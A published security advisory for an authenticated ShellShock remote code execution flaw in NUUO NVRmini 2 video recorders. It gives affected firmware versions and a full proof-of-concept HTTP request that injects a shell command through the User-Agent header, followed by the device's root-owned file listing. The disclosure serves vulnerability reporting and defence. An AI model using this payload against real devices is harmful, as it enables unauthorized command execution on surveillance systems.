i>>? NUUO NVRmini 2 NE-4160 ShellShock Remote Code Execution Vendor: NUUO Inc. Product web page: http://www.nuuo.com Affected version: Firmware Version: 02.02.00 NVR Version: 02.02.0000.0040 Device Pack Version: 04.07.0000.0030 Summary: NUUO NVRmini 2 is the lightweight, portable NVR solution with NAS functionality. Setup is simple and easy, with automatic port forwarding settings built in. NVRmini 2 supports POS integration, making this the perfect solution for small retail chain stores. NVRmini 2 also comes full equipped as a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping and RAID functions for data protection. Choose NVR and know that your valuable video data is safe, always. Desc: NUUO NVRmini, NVRmini2, Crystal, NVRSolo suffers from authenticated ShellShock vulnerability. This could allow an attacker to gain control over a targeted computer if exploited successfully. The vulnerability affects Bash, a common component known as a shell that appears in many versions of Linux and Unix. Tested on: GNU/Linux 2.6.31.8 (armv5tel) lighttpd/1.4.28 PHP/5.5.3 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2016-5352 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5352.php 14.01.2016 -- POST /cgi-bin/cgi_system HTTP/1.1 Host: 10.0.0.17 Content-Length: 91 Origin: http://10.0.0.17 X-Requested-With: XMLHttpRequest User-Agent: () { :;}; /bin/ls -al Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: */* Referer: http://10.0.0.17/protocol_ftp.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8 Cookie: PHPSESSID=3bc601000ea8f085c22cb37b9b102b7f; lang=en Connection: close cmd=ftp_setup&act=modify&com_port=21&pasv_port_from=1024&pasv_port_to=65535&services=enable Response: HTTP/1.1 200 OK Connection: close Date: Fri, 15 Jan 2016 13:09:11 GMT Server: lighttpd/1.4.28 Content-Length: 1652 drwxr-xr-x 3 root root 402 Oct 20 2014 . drwxr-xr-x 6 root root 1024 Jan 4 22:49 .. -rwxr-xr-x 1 root root 256564 Oct 20 2014 DaylightSavingWatcher -rwxr-xr-x 1 root root 51376 Oct 20 2014 NuDatTool -rwxr-xr-x 1 root root 60500 Oct 20 2014 NuDiscovery -rwxr-xr-x 1 root root 930652 Oct 20 2014 NuHWMgn -rwxr-xr-x 1 root root 8236 Oct 20 2014 NuNICWatcher -rwxr-xr-x 1 root root 309 Oct 20 2014 after_mount.sh lrwxrwxrwx 1 root root 7 Oct 20 2014 archive_mrg_mv -> lite_mv -rwxr-xr-x 1 root root 1114844 Oct 20 2014 auto_upgrade lrwxrwxrwx 1 root root 7 Oct 20 2014 cgi_main -> lite_mv -rwxr-xr-x 1 root root 576992 Oct 20 2014 cgi_system lrwxrwxrwx 1 root root 7 Oct 20 2014 ddns_update -> lite_mv -rwxr-xr-x 1 root root 570 Oct 20 2014 getdhcpip.sh -rwxr-xr-x 1 root root 388 Oct 20 2014 halt drwxr-xr-x 2 root root 41 Oct 20 2014 lib -rwxr-xr-x 1 root root 3827188 Oct 20 2014 lite_mv -rwxr-xr-x 1 root root 15396 Oct 20 2014 nagent_mv -rwxr-xr-x 1 root root 9836 Oct 20 2014 nu_btns -rwxr-xr-x 1 root root 3496 Oct 20 2014 nudaemon -rwxr-xr-x 1 root root 10616 Oct 20 2014 nufancontrol -rwxr-xr-x 1 root root 12772 Oct 20 2014 nuklogd -rwxr-xr-x 1 root root 392 Oct 20 2014 reboot -rwxr-xr-x 1 root root 13144 Oct 20 2014 thwstat FTP Setup OK